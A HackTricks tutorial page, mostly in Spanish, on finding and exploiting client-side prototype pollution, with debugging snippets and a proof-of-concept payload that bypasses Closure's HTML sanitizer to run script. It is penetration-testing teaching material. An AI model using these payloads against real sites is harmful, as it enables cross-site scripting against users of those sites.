Client Side Prototype Pollution

Apoya a HackTricks

Descubriendo usando herramientas automáticas

Las herramientas https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap y https://github.com/kosmosec/proto-find se pueden usar para encontrar vulnerabilidades de contaminación de prototipos.

Además, también podrías usar la extensión del navegador PPScan para escanear automáticamente las páginas que accedes en busca de vulnerabilidades de contaminación de prototipos.

Depurando dónde se usa una propiedad

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Encontrando la causa raíz de la contaminación del prototipo

Una vez que se ha identificado una vulnerabilidad de contaminación del prototipo mediante cualquiera de las herramientas, y si el código no es demasiado complejo, puedes encontrar la vulnerabilidad buscando palabras clave como location.hash, decodeURIComponent o location.search en las Herramientas de Desarrollo de Chrome. Este enfoque te permite localizar la sección vulnerable del código JavaScript.

Para bases de código más grandes y complejas, un método sencillo para descubrir el código vulnerable implica los siguientes pasos:

  1. Usa una herramienta para identificar una vulnerabilidad y obtener una carga útil diseñada para establecer una propiedad en el constructor. Un ejemplo proporcionado por ppmap podría verse así: constructor[prototype][ppmap]=reserved.

  2. Establece un punto de interrupción en la primera línea de código JavaScript que se ejecutará en la página. Actualiza la página con la carga útil, pausando la ejecución en este punto de interrupción.

  3. Mientras la ejecución de JavaScript está pausada, ejecuta el siguiente script en la consola de JS. Este script señalará cuándo se crea la propiedad 'ppmap', ayudando a localizar su origen:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navega de vuelta a la pestaña Sources y selecciona “Resume script execution”. El JavaScript continuará ejecutándose, y la propiedad 'ppmap' se contaminará como se esperaba. Utilizar el fragmento proporcionado facilita la identificación de la ubicación exacta donde se contamina la propiedad 'ppmap'. Al examinar la Call Stack, se pueden observar diferentes pilas donde ocurrió la contaminación.

Al decidir qué pila investigar, a menudo es útil dirigirse a pilas asociadas con archivos de bibliotecas de JavaScript, ya que la contaminación del prototipo ocurre con frecuencia dentro de estas bibliotecas. Identifica la pila relevante examinando su conexión con archivos de biblioteca (visible en el lado derecho, similar a una imagen proporcionada como guía). En escenarios con múltiples pilas, como las de las líneas 4 y 6, la elección lógica es la pila de la línea 4, ya que representa la ocurrencia inicial de la contaminación y, por lo tanto, la causa raíz de la vulnerabilidad. Hacer clic en la pila te llevará al código vulnerable.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Finding Script Gadgets

El gadget es el código que será abusado una vez que se descubra una vulnerabilidad de PP.

Si la aplicación es simple, podemos buscar palabras clave como srcdoc/innerHTML/iframe/createElement y revisar el código fuente y verificar si conduce a la ejecución de javascript. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, una revisión pura del código fuente revela algunos buenos gadgets como el siguiente ejemplo.

Example Finding PP gadget in Mithil library code

Consulta este informe: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Recompilation of payloads for vulnerable libraries

HTML Sanitizers bypass via PP

Esta investigación muestra gadgets de PP para usar para eludir las sanitizaciones proporcionadas por algunas bibliotecas de sanitizadores HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Referencias

Apoya a HackTricks

Last updated